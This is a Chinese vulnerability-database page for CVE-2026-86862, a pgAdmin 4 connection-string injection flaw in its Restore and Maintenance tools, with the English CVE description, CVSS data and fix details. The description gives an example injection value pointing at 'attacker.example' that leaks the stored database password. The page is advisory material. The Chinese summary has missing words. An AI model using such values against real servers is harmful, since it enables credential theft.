目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2026-86862— pgAdmin 4 数据库连接字符串注入漏洞

一分钟漏洞结论

影响对象
pgadmin.org pgAdmin 4
利用判断
尚无明确在野利用证据,仍需结合暴露面评估
建议动作
优先检查厂商安全公告和参考链接中的修复版本;无法立即升级时,限制受影响服务暴露并加强监测。

pgAdmin 4 的“还原”和“维护”工具将客户端提供的“database”字段直接作为 选项传递给 和 。由于 libpq 会将包含等号的数据库名展开为完整的连接字符串,且该值中嵌入的连接参数会覆盖 pgAdmin 提供的 和 参数。因此,类似 这样的值会将工具重定向到由请求用户选择的服务器,而非操作原本针对的服务器。此外,由于 pgAdmin 在执行工具前会将解密后的存储数据库密码导出到 环境变量中,重定向后的连接会将该凭据呈现给由攻击者指定的端点,从而可能被其捕获。这种重定向还允许从 pgAdmin 主机发

CVSS 6.5 · Medium

可能的 ATT&CK 技术 1 AI

T1078 · Valid Accounts
获取后续新漏洞提醒 登录后订阅

一、 漏洞 CVE-2026-86862 基础信息

漏洞信息

对漏洞内容有疑问?看看神龙的深度分析是否有帮助!
查看神龙十问 ↗

尽管我们使用了先进的大模型技术,但其输出仍可能包含不准确或过时的信息。神龙努力确保数据的准确性,但请您根据实际情况进行核实和判断。

Vulnerability Title
pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools
来源: CVE Program / CVE List V5
Vulnerability Description
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
来源: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
来源: CVE Program / CVE List V5
Vulnerability Type
参数注入或修改
来源: CVE Program / CVE List V5

受影响产品

厂商 产品 影响版本 CPE 订阅
pgadmin.org pgAdmin 4 0 ~ 9.18 -

二、漏洞 CVE-2026-86862 的公开POC

# POC 描述 源链接 神龙链接
AI 生成 POC 高级

未找到公开 POC。

登录以生成 AI POC

三、漏洞 CVE-2026-86862 的情报信息

登录查看更多情报信息。

CVE-2026-86862 厂商页面 (1)

同批安全公告 · pgadmin.org · 2026-09-17 · 共 4 条

CVE-2026-86863 9.8 CRITICAL pgAdmin 4 Web服务器身份验证绕过漏洞
CVE-2026-86864 8.8 HIGH pgAdmin 4 备份工具参数注入漏洞
CVE-2026-86861 5.9 MEDIUM pgAdmin 4 文件管理器符号链接绕过漏洞

IV. Related Vulnerabilities

V. Comments for CVE-2026-86862

暂无评论


发表评论